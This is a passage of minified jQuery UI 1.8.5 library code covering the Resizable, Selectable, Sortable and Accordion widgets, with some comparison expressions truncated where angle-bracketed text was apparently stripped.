true},_mouseDrag:function(b){var a=this.helper,c=this.originalMousePosition,d=this._change[this.axis];if(!d)return false;c=d.apply(this,[b,b.pageX-c.left||0,b.pageY-c.top||0]);if(this._aspectRatio||b.shiftKey)c=this._updateRatio(c,b);c=this._respectSize(c,b);this._propagate("resize", +b);a.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();this._updateCache(c);this._trigger("resize",b,this.ui());return false},_mouseStop:function(b){this.resizing=false;var a=this.options,c=this;if(this._helper){var d=this._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName);d=f&&e.ui.hasScroll(d[0],"left")?0:c.sizeDiff.height; +f={width:c.size.width-(f?0:c.sizeDiff.width),height:c.size.height-d};d=parseInt(c.element.css("left"),10)+(c.position.left-c.originalPosition.left)||null;var g=parseInt(c.element.css("top"),10)+(c.position.top-c.originalPosition.top)||null;a.animate||this.element.css(e.extend(f,{top:g,left:d}));c.helper.height(c.size.height);c.helper.width(c.size.width);this._helper&&!a.animate&&this._proportionallyResize()}e("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop", +b);this._helper&&this.helper.remove();return false},_updateCache:function(b){this.offset=this.helper.offset();if(l(b.left))this.position.left=b.left;if(l(b.top))this.position.top=b.top;if(l(b.height))this.size.height=b.height;if(l(b.width))this.size.width=b.width},_updateRatio:function(b){var a=this.position,c=this.size,d=this.axis;if(b.height)b.width=c.height*this.aspectRatio;else if(b.width)b.height=c.width/this.aspectRatio;if(d=="sw"){b.left=a.left+(c.width-b.width);b.top=null}if(d=="nw"){b.top= +a.top+(c.height-b.height);b.left=a.left+(c.width-b.width)}return b},_respectSize:function(b){var a=this.options,c=this.axis,d=l(b.width)&&a.maxWidth&&a.maxWidthb.width,h=l(b.height)&&a.minHeight&&a.minHeight>b.height;if(g)b.width=a.minWidth;if(h)b.height=a.minHeight;if(d)b.width=a.maxWidth;if(f)b.height=a.maxHeight;var i=this.originalPosition.left+this.originalSize.width,j=this.position.top+this.size.height, +k=/sw|nw|w/.test(c);c=/nw|ne|n/.test(c);if(g&&k)b.left=i-a.minWidth;if(d&&k)b.left=i-a.maxWidth;if(h&&c)b.top=j-a.minHeight;if(f&&c)b.top=j-a.maxHeight;if((a=!b.width&&!b.height)&&!b.left&&b.top)b.top=null;else if(a&&!b.top&&b.left)b.left=null;return b},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var b=this.helper||this.element,a=0;a');var a=e.browser.msie&&e.browser.version<7,c=a?1:0;a=a?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+a,height:this.element.outerHeight()+a,position:"absolute",left:this.elementOffset.left-c+"px",top:this.elementOffset.top-c+"px",zIndex:++b.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(b,a){return{width:this.originalSize.width+ +a}},w:function(b,a){return{left:this.originalPosition.left+a,width:this.originalSize.width-a}},n:function(b,a,c){return{top:this.originalPosition.top+c,height:this.originalSize.height-c}},s:function(b,a,c){return{height:this.originalSize.height+c}},se:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[b,a,c]))},sw:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[b,a,c]))},ne:function(b,a,c){return e.extend(this._change.n.apply(this, +arguments),this._change.e.apply(this,[b,a,c]))},nw:function(b,a,c){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[b,a,c]))}},_propagate:function(b,a){e.ui.plugin.call(this,b,[a,this.ui()]);b!="resize"&&this._trigger(b,a,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});e.extend(e.ui.resizable, +{version:"1.8.5"});e.ui.plugin.add("resizable","alsoResize",{start:function(){var b=e(this).data("resizable").options,a=function(c){e(c).each(function(){var d=e(this);d.data("resizable-alsoresize",{width:parseInt(d.width(),10),height:parseInt(d.height(),10),left:parseInt(d.css("left"),10),top:parseInt(d.css("top"),10),position:d.css("position")})})};if(typeof b.alsoResize=="object"&&!b.alsoResize.parentNode)if(b.alsoResize.length){b.alsoResize=b.alsoResize[0];a(b.alsoResize)}else e.each(b.alsoResize, +function(c){a(c)});else a(b.alsoResize)},resize:function(b,a){var c=e(this).data("resizable");b=c.options;var d=c.originalSize,f=c.originalPosition,g={height:c.size.height-d.height||0,width:c.size.width-d.width||0,top:c.position.top-f.top||0,left:c.position.left-f.left||0},h=function(i,j){e(i).each(function(){var k=e(this),q=e(this).data("resizable-alsoresize"),p={},r=j&&j.length?j:k.parents(a.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(r,function(n,o){if((n= +(q[o]||0)+(g[o]||0))&&n>=0)p[o]=n||null});if(e.browser.opera&&/relative/.test(k.css("position"))){c._revertToRelativePosition=true;k.css({position:"absolute",top:"auto",left:"auto"})}k.css(p)})};typeof b.alsoResize=="object"&&!b.alsoResize.nodeType?e.each(b.alsoResize,function(i,j){h(i,j)}):h(b.alsoResize)},stop:function(){var b=e(this).data("resizable"),a=b.options,c=function(d){e(d).each(function(){var f=e(this);f.css({position:f.data("resizable-alsoresize").position})})};if(b._revertToRelativePosition){b._revertToRelativePosition= +false;typeof a.alsoResize=="object"&&!a.alsoResize.nodeType?e.each(a.alsoResize,function(d){c(d)}):c(a.alsoResize)}e(this).removeData("resizable-alsoresize")}});e.ui.plugin.add("resizable","animate",{stop:function(b){var a=e(this).data("resizable"),c=a.options,d=a._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName),g=f&&e.ui.hasScroll(d[0],"left")?0:a.sizeDiff.height;f={width:a.size.width-(f?0:a.sizeDiff.width),height:a.size.height-g};g=parseInt(a.element.css("left"),10)+(a.position.left- +a.originalPosition.left)||null;var h=parseInt(a.element.css("top"),10)+(a.position.top-a.originalPosition.top)||null;a.element.animate(e.extend(f,h&&g?{top:h,left:g}:{}),{duration:c.animateDuration,easing:c.animateEasing,step:function(){var i={width:parseInt(a.element.css("width"),10),height:parseInt(a.element.css("height"),10),top:parseInt(a.element.css("top"),10),left:parseInt(a.element.css("left"),10)};d&&d.length&&e(d[0]).css({width:i.width,height:i.height});a._updateCache(i);a._propagate("resize", +b)}})}});e.ui.plugin.add("resizable","containment",{start:function(){var b=e(this).data("resizable"),a=b.element,c=b.options.containment;if(a=c instanceof e?c.get(0):/parent/.test(c)?a.parent().get(0):c){b.containerElement=e(a);if(/document/.test(c)||c==document){b.containerOffset={left:0,top:0};b.containerPosition={left:0,top:0};b.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}}else{var d=e(a),f=[];e(["Top", +"Right","Left","Bottom"]).each(function(i,j){f[i]=m(d.css("padding"+j))});b.containerOffset=d.offset();b.containerPosition=d.position();b.containerSize={height:d.innerHeight()-f[3],width:d.innerWidth()-f[1]};c=b.containerOffset;var g=b.containerSize.height,h=b.containerSize.width;h=e.ui.hasScroll(a,"left")?a.scrollWidth:h;g=e.ui.hasScroll(a)?a.scrollHeight:g;b.parentData={element:a,left:c.left,top:c.top,width:h,height:g}}}},resize:function(b){var a=e(this).data("resizable"),c=a.options,d=a.containerOffset, +f=a.position;b=a._aspectRatio||b.shiftKey;var g={top:0,left:0},h=a.containerElement;if(h[0]!=document&&/static/.test(h.css("position")))g=d;if(f.left<(a._helper?d.left:0)){a.size.width+=a._helper?a.position.left-d.left:a.position.left-g.left;if(b)a.size.height=a.size.width/c.aspectRatio;a.position.left=c.helper?d.left:0}if(f.top<(a._helper?d.top:0)){a.size.height+=a._helper?a.position.top-d.top:a.position.top;if(b)a.size.width=a.size.height*c.aspectRatio;a.position.top=a._helper?d.top:0}a.offset.left= +a.parentData.left+a.position.left;a.offset.top=a.parentData.top+a.position.top;c=Math.abs((a._helper?a.offset.left-g.left:a.offset.left-g.left)+a.sizeDiff.width);d=Math.abs((a._helper?a.offset.top-g.top:a.offset.top-d.top)+a.sizeDiff.height);f=a.containerElement.get(0)==a.element.parent().get(0);g=/relative|absolute/.test(a.containerElement.css("position"));if(f&&g)c-=a.parentData.left;if(c+a.size.width>=a.parentData.width){a.size.width=a.parentData.width-c;if(b)a.size.height=a.size.width/a.aspectRatio}if(d+ +a.size.height>=a.parentData.height){a.size.height=a.parentData.height-d;if(b)a.size.width=a.size.height*a.aspectRatio}},stop:function(){var b=e(this).data("resizable"),a=b.options,c=b.containerOffset,d=b.containerPosition,f=b.containerElement,g=e(b.helper),h=g.offset(),i=g.outerWidth()-b.sizeDiff.width;g=g.outerHeight()-b.sizeDiff.height;b._helper&&!a.animate&&/relative/.test(f.css("position"))&&e(this).css({left:h.left-d.left-c.left,width:i,height:g});b._helper&&!a.animate&&/static/.test(f.css("position"))&& +e(this).css({left:h.left-d.left-c.left,width:i,height:g})}});e.ui.plugin.add("resizable","ghost",{start:function(){var b=e(this).data("resizable"),a=b.options,c=b.size;b.ghost=b.originalElement.clone();b.ghost.css({opacity:0.25,display:"block",position:"relative",height:c.height,width:c.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof a.ghost=="string"?a.ghost:"");b.ghost.appendTo(b.helper)},resize:function(){var b=e(this).data("resizable");b.ghost&&b.ghost.css({position:"relative", +height:b.size.height,width:b.size.width})},stop:function(){var b=e(this).data("resizable");b.ghost&&b.helper&&b.helper.get(0).removeChild(b.ghost.get(0))}});e.ui.plugin.add("resizable","grid",{resize:function(){var b=e(this).data("resizable"),a=b.options,c=b.size,d=b.originalSize,f=b.originalPosition,g=b.axis;a.grid=typeof a.grid=="number"?[a.grid,a.grid]:a.grid;var h=Math.round((c.width-d.width)/(a.grid[0]||1))*(a.grid[0]||1);a=Math.round((c.height-d.height)/(a.grid[1]||1))*(a.grid[1]||1);if(/^(se|s|e)$/.test(g)){b.size.width= +d.width+h;b.size.height=d.height+a}else if(/^(ne)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}else{if(/^(sw)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a}else{b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}b.position.left=f.left-h}}});var m=function(b){return parseInt(b,10)||0},l=function(b){return!isNaN(parseInt(b,10))}})(jQuery); +;/* + * jQuery UI Selectable 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Selectables + * + * Depends: + * jquery.ui.core.js + * jquery.ui.mouse.js + * jquery.ui.widget.js + */ +(function(e){e.widget("ui.selectable",e.ui.mouse,{options:{appendTo:"body",autoRefresh:true,distance:0,filter:"*",tolerance:"touch"},_create:function(){var c=this;this.element.addClass("ui-selectable");this.dragged=false;var f;this.refresh=function(){f=e(c.options.filter,c.element[0]);f.each(function(){var d=e(this),b=d.offset();e.data(this,"selectable-item",{element:this,$element:d,left:b.left,top:b.top,right:b.left+d.outerWidth(),bottom:b.top+d.outerHeight(),startselected:false,selected:d.hasClass("ui-selected"), +selecting:d.hasClass("ui-selecting"),unselecting:d.hasClass("ui-unselecting")})})};this.refresh();this.selectees=f.addClass("ui-selectee");this._mouseInit();this.helper=e("
")},destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item");this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");this._mouseDestroy();return this},_mouseStart:function(c){var f=this;this.opos=[c.pageX, +c.pageY];if(!this.options.disabled){var d=this.options;this.selectees=e(d.filter,this.element[0]);this._trigger("start",c);e(d.appendTo).append(this.helper);this.helper.css({left:c.clientX,top:c.clientY,width:0,height:0});d.autoRefresh&&this.refresh();this.selectees.filter(".ui-selected").each(function(){var b=e.data(this,"selectable-item");b.startselected=true;if(!c.metaKey){b.$element.removeClass("ui-selected");b.selected=false;b.$element.addClass("ui-unselecting");b.unselecting=true;f._trigger("unselecting", +c,{unselecting:b.element})}});e(c.target).parents().andSelf().each(function(){var b=e.data(this,"selectable-item");if(b){var g=!c.metaKey||!b.$element.hasClass("ui-selected");b.$element.removeClass(g?"ui-unselecting":"ui-selected").addClass(g?"ui-selecting":"ui-unselecting");b.unselecting=!g;b.selecting=g;(b.selected=g)?f._trigger("selecting",c,{selecting:b.element}):f._trigger("unselecting",c,{unselecting:b.element});return false}})}},_mouseDrag:function(c){var f=this;this.dragged=true;if(!this.options.disabled){var d= +this.options,b=this.opos[0],g=this.opos[1],h=c.pageX,i=c.pageY;if(b>h){var j=h;h=b;b=j}if(g>i){j=i;i=g;g=j}this.helper.css({left:b,top:g,width:h-b,height:i-g});this.selectees.each(function(){var a=e.data(this,"selectable-item");if(!(!a||a.element==f.element[0])){var k=false;if(d.tolerance=="touch")k=!(a.left>h||a.righti||a.bottomb&&a.rightg&&a.bottom *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1E3},_create:function(){this.containerCache={};this.element.addClass("ui-sortable"); +this.refresh();this.floating=this.items.length?/left|right/.test(this.items[0].item.css("float")):false;this.offset=this.element.offset();this._mouseInit()},destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");this._mouseDestroy();for(var a=this.items.length-1;a>=0;a--)this.items[a].item.removeData("sortable-item");return this},_setOption:function(a,b){if(a==="disabled"){this.options[a]=b;this.widget()[b?"addClass":"removeClass"]("ui-sortable-disabled")}else d.Widget.prototype._setOption.apply(this, +arguments)},_mouseCapture:function(a,b){if(this.reverting)return false;if(this.options.disabled||this.options.type=="static")return false;this._refreshItems(a);var c=null,e=this;d(a.target).parents().each(function(){if(d.data(this,"sortable-item")==e){c=d(this);return false}});if(d.data(a.target,"sortable-item")==e)c=d(a.target);if(!c)return false;if(this.options.handle&&!b){var f=false;d(this.options.handle,c).find("*").andSelf().each(function(){if(this==a.target)f=true});if(!f)return false}this.currentItem= +c;this._removeCurrentsFromItems();return true},_mouseStart:function(a,b,c){b=this.options;var e=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(a);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");d.extend(this.offset, +{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]};this.helper[0]!=this.currentItem[0]&&this.currentItem.hide();this._createPlaceholder();b.containment&&this._setContainment(); +if(b.cursor){if(d("body").css("cursor"))this._storedCursor=d("body").css("cursor");d("body").css("cursor",b.cursor)}if(b.opacity){if(this.helper.css("opacity"))this._storedOpacity=this.helper.css("opacity");this.helper.css("opacity",b.opacity)}if(b.zIndex){if(this.helper.css("zIndex"))this._storedZIndex=this.helper.css("zIndex");this.helper.css("zIndex",b.zIndex)}if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML")this.overflowOffset=this.scrollParent.offset();this._trigger("start", +a,this._uiHash());this._preserveHelperProportions||this._cacheHelperProportions();if(!c)for(c=this.containers.length-1;c>=0;c--)this.containers[c]._trigger("activate",a,e._uiHash(this));if(d.ui.ddmanager)d.ui.ddmanager.current=this;d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(a);return true},_mouseDrag:function(a){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute"); +if(!this.lastPositionAbs)this.lastPositionAbs=this.positionAbs;if(this.options.scroll){var b=this.options,c=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if(this.overflowOffset.top+this.scrollParent[0].offsetHeight-a.pageY=0;b--){c=this.items[b];var e=c.item[0],f=this._intersectsWithPointer(c);if(f)if(e!=this.currentItem[0]&&this.placeholder[f==1?"next":"prev"]()[0]!=e&&!d.ui.contains(this.placeholder[0],e)&&(this.options.type=="semi-dynamic"?!d.ui.contains(this.element[0],e):true)){this.direction=f==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(c))this._rearrange(a, +c);else break;this._trigger("change",a,this._uiHash());break}}this._contactContainers(a);d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);this._trigger("sort",a,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(a,b){if(a){d.ui.ddmanager&&!this.options.dropBehaviour&&d.ui.ddmanager.drop(this,a);if(this.options.revert){var c=this;b=c.placeholder.offset();c.reverting=true;d(this.helper).animate({left:b.left-this.offset.parent.left-c.margins.left+(this.offsetParent[0]== +document.body?0:this.offsetParent[0].scrollLeft),top:b.top-this.offset.parent.top-c.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){c._clear(a)})}else this._clear(a,b);return false}},cancel:function(){var a=this;if(this.dragging){this._mouseUp();this.options.helper=="original"?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var b=this.containers.length-1;b>=0;b--){this.containers[b]._trigger("deactivate", +null,a._uiHash(this));if(this.containers[b].containerCache.over){this.containers[b]._trigger("out",null,a._uiHash(this));this.containers[b].containerCache.over=0}}}this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]);this.options.helper!="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove();d.extend(this,{helper:null,dragging:false,reverting:false,_noFinalSort:null});this.domPosition.prev?d(this.domPosition.prev).after(this.currentItem): +d(this.domPosition.parent).prepend(this.currentItem);return this},serialize:function(a){var b=this._getItemsAsjQuery(a&&a.connected),c=[];a=a||{};d(b).each(function(){var e=(d(a.item||this).attr(a.attribute||"id")||"").match(a.expression||/(.+)[-=_](.+)/);if(e)c.push((a.key||e[1]+"[]")+"="+(a.key&&a.expression?e[1]:e[2]))});!c.length&&a.key&&c.push(a.key+"=");return c.join("&")},toArray:function(a){var b=this._getItemsAsjQuery(a&&a.connected),c=[];a=a||{};b.each(function(){c.push(d(a.item||this).attr(a.attribute|| +"id")||"")});return c},_intersectsWith:function(a){var b=this.positionAbs.left,c=b+this.helperProportions.width,e=this.positionAbs.top,f=e+this.helperProportions.height,g=a.left,h=g+a.width,i=a.top,k=i+a.height,j=this.offset.click.top,l=this.offset.click.left;j=e+j>i&&e+jg&&b+la[this.floating?"width":"height"]?j:g0?"down":"up")}, +_getDragHorizontalDirection:function(){var a=this.positionAbs.left-this.lastPositionAbs.left;return a!=0&&(a>0?"right":"left")},refresh:function(a){this._refreshItems(a);this.refreshPositions();return this},_connectWith:function(){var a=this.options;return a.connectWith.constructor==String?[a.connectWith]:a.connectWith},_getItemsAsjQuery:function(a){var b=[],c=[],e=this._connectWith();if(e&&a)for(a=e.length-1;a>=0;a--)for(var f=d(e[a]),g=f.length-1;g>=0;g--){var h=d.data(f[g],"sortable");if(h&&h!= +this&&!h.options.disabled)c.push([d.isFunction(h.options.items)?h.options.items.call(h.element):d(h.options.items,h.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),h])}c.push([d.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):d(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]);for(a=c.length-1;a>=0;a--)c[a][0].each(function(){b.push(this)});return d(b)},_removeCurrentsFromItems:function(){for(var a= +this.currentItem.find(":data(sortable-item)"),b=0;b=0;f--)for(var g=d(e[f]),h=g.length-1;h>=0;h--){var i=d.data(g[h],"sortable"); +if(i&&i!=this&&!i.options.disabled){c.push([d.isFunction(i.options.items)?i.options.items.call(i.element[0],a,{item:this.currentItem}):d(i.options.items,i.element),i]);this.containers.push(i)}}for(f=c.length-1;f>=0;f--){a=c[f][1];e=c[f][0];h=0;for(g=e.length;h= +0;b--){var c=this.items[b],e=this.options.toleranceElement?d(this.options.toleranceElement,c.item):c.item;if(!a){c.width=e.outerWidth();c.height=e.outerHeight()}e=e.offset();c.left=e.left;c.top=e.top}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(b=this.containers.length-1;b>=0;b--){e=this.containers[b].element.offset();this.containers[b].containerCache.left=e.left;this.containers[b].containerCache.top=e.top;this.containers[b].containerCache.width= +this.containers[b].element.outerWidth();this.containers[b].containerCache.height=this.containers[b].element.outerHeight()}return this},_createPlaceholder:function(a){var b=a||this,c=b.options;if(!c.placeholder||c.placeholder.constructor==String){var e=c.placeholder;c.placeholder={element:function(){var f=d(document.createElement(b.currentItem[0].nodeName)).addClass(e||b.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!e)f.style.visibility="hidden";return f}, +update:function(f,g){if(!(e&&!c.forcePlaceholderSize)){g.height()||g.height(b.currentItem.innerHeight()-parseInt(b.currentItem.css("paddingTop")||0,10)-parseInt(b.currentItem.css("paddingBottom")||0,10));g.width()||g.width(b.currentItem.innerWidth()-parseInt(b.currentItem.css("paddingLeft")||0,10)-parseInt(b.currentItem.css("paddingRight")||0,10))}}}}b.placeholder=d(c.placeholder.element.call(b.element,b.currentItem));b.currentItem.after(b.placeholder);c.placeholder.update(b,b.placeholder)},_contactContainers:function(a){for(var b= +null,c=null,e=this.containers.length-1;e>=0;e--)if(!d.ui.contains(this.currentItem[0],this.containers[e].element[0]))if(this._intersectsWith(this.containers[e].containerCache)){if(!(b&&d.ui.contains(this.containers[e].element[0],b.element[0]))){b=this.containers[e];c=e}}else if(this.containers[e].containerCache.over){this.containers[e]._trigger("out",a,this._uiHash(this));this.containers[e].containerCache.over=0}if(b)if(this.containers.length===1){this.containers[c]._trigger("over",a,this._uiHash(this)); +this.containers[c].containerCache.over=1}else if(this.currentContainer!=this.containers[c]){b=1E4;e=null;for(var f=this.positionAbs[this.containers[c].floating?"left":"top"],g=this.items.length-1;g>=0;g--)if(d.ui.contains(this.containers[c].element[0],this.items[g].item[0])){var h=this.items[g][this.containers[c].floating?"left":"top"];if(Math.abs(h-f)this.containment[2])f=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])? +g:!(g-this.offset.click.topthis.containment[2])?f:!(f-this.offset.click.left=0;e--)if(d.ui.contains(this.containers[e].element[0],this.currentItem[0])&&!b){c.push(function(f){return function(g){f._trigger("receive", +g,this._uiHash(this))}}.call(this,this.containers[e]));c.push(function(f){return function(g){f._trigger("update",g,this._uiHash(this))}}.call(this,this.containers[e]))}}for(e=this.containers.length-1;e>=0;e--){b||c.push(function(f){return function(g){f._trigger("deactivate",g,this._uiHash(this))}}.call(this,this.containers[e]));if(this.containers[e].containerCache.over){c.push(function(f){return function(g){f._trigger("out",g,this._uiHash(this))}}.call(this,this.containers[e]));this.containers[e].containerCache.over= +0}}this._storedCursor&&d("body").css("cursor",this._storedCursor);this._storedOpacity&&this.helper.css("opacity",this._storedOpacity);if(this._storedZIndex)this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex);this.dragging=false;if(this.cancelHelperRemoval){if(!b){this._trigger("beforeStop",a,this._uiHash());for(e=0;e li > :first-child,> :not(li):even",icons:{header:"ui-icon-triangle-1-e",headerSelected:"ui-icon-triangle-1-s"},navigation:false,navigationFilter:function(){return this.href.toLowerCase()===location.href.toLowerCase()}},_create:function(){var a=this,b=a.options;a.running=0;a.element.addClass("ui-accordion ui-widget ui-helper-reset").children("li").addClass("ui-accordion-li-fix"); +a.headers=a.element.find(b.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){b.disabled||c(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){b.disabled||c(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){b.disabled||c(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){b.disabled||c(this).removeClass("ui-state-focus")});a.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom"); +if(b.navigation){var d=a.element.find("a").filter(b.navigationFilter).eq(0);if(d.length){var f=d.closest(".ui-accordion-header");a.active=f.length?f:d.closest(".ui-accordion-content").prev()}}a.active=a._findActive(a.active||b.active).addClass("ui-state-default ui-state-active").toggleClass("ui-corner-all ui-corner-top");a.active.next().addClass("ui-accordion-content-active");a._createIcons();a.resize();a.element.attr("role","tablist");a.headers.attr("role","tab").bind("keydown.accordion",function(g){return a._keydown(g)}).next().attr("role", +"tabpanel");a.headers.not(a.active||"").attr({"aria-expanded":"false",tabIndex:-1}).next().hide();a.active.length?a.active.attr({"aria-expanded":"true",tabIndex:0}):a.headers.eq(0).attr("tabIndex",0);c.browser.safari||a.headers.find("a").attr("tabIndex",-1);b.event&&a.headers.bind(b.event.split(" ").join(".accordion ")+".accordion",function(g){a._clickHandler.call(a,g,this);g.preventDefault()})},_createIcons:function(){var a=this.options;if(a.icons){c("").addClass("ui-icon "+a.icons.header).prependTo(this.headers); +this.active.children(".ui-icon").toggleClass(a.icons.header).toggleClass(a.icons.headerSelected);this.element.addClass("ui-accordion-icons")}},_destroyIcons:function(){this.headers.children(".ui-icon").remove();this.element.removeClass("ui-accordion-icons")},destroy:function(){var a=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role");this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("tabIndex"); +this.headers.find("a").removeAttr("tabIndex");this._destroyIcons();var b=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled");if(a.autoHeight||a.fillHeight)b.css("height","");return c.Widget.prototype.destroy.call(this)},_setOption:function(a,b){c.Widget.prototype._setOption.apply(this,arguments);a=="active"&&this.activate(b);if(a=="icons"){this._destroyIcons(); +b&&this._createIcons()}if(a=="disabled")this.headers.add(this.headers.next())[b?"addClass":"removeClass"]("ui-accordion-disabled ui-state-disabled")},_keydown:function(a){if(!(this.options.disabled||a.altKey||a.ctrlKey)){var b=c.ui.keyCode,d=this.headers.length,f=this.headers.index(a.target),g=false;switch(a.keyCode){case b.RIGHT:case b.DOWN:g=this.headers[(f+1)%d];break;case b.LEFT:case b.UP:g=this.headers[(f-1+d)%d];break;case b.SPACE:case b.ENTER:this._clickHandler({target:a.target},a.target); +a.preventDefault()}if(g){c(a.target).attr("tabIndex",-1);c(g).attr("tabIndex",0);g.focus();return false}return true}},resize:function(){var a=this.options,b;if(a.fillSpace){if(c.browser.msie){var d=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}b=this.element.parent().height();c.browser.msie&&this.element.parent().css("overflow",d);this.headers.each(function(){b-=c(this).outerHeight(true)});this.headers.next().each(function(){c(this).height(Math.max(0,b-c(this).innerHeight()+ +c(this).height()))}).css("overflow","auto")}else if(a.autoHeight){b=0;this.headers.next().each(function(){b=Math.max(b,c(this).height("").height())}).height(b)}return this},activate:function(a){this.options.active=a;a=this._findActive(a)[0];this._clickHandler({target:a},a);return this},_findActive:function(a){return a?typeof a==="number"?this.headers.filter(":eq("+a+")"):this.headers.not(this.headers.not(a)):a===false?c([]):this.headers.filter(":eq(0)")},_clickHandler:function(a,b){var d=this.options; +if(!d.disabled)if(a.target){a=c(a.currentTarget||b);b=a[0]===this.active[0];d.active=d.collapsible&&b?false:this.headers.index(a);if(!(this.running||!d.collapsible&&b)){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header);if(!b){a.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").children(".ui-icon").removeClass(d.icons.header).addClass(d.icons.headerSelected); +a.next().addClass("ui-accordion-content-active")}h=a.next();f=this.active.next();g={options:d,newHeader:b&&d.collapsible?c([]):a,oldHeader:this.active,newContent:b&&d.collapsible?c([]):h,oldContent:f};d=this.headers.index(this.active[0])>this.headers.index(a[0]);this.active=b?c([]):a;this._toggle(h,f,g,b,d)}}else if(d.collapsible){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").children(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header); +this.active.next().addClass("ui-accordion-content-active");var f=this.active.next(),g={options:d,newHeader:c([]),oldHeader:d.active,newContent:c([]),oldContent:f},h=this.active=c([]);this._toggle(h,f,g)}},_toggle:function(a,b,d,f,g){var h=this,e=h.options;h.toShow=a;h.toHide=b;h.data=d;var j=function(){if(h)return h._completed.apply(h,arguments)};h._trigger("changestart",null,h.data);h.running=b.size()===0?a.size():b.size();if(e.animated){d={};d=e.collapsible&&f?{toShow:c([]),toHide:b,complete:j, 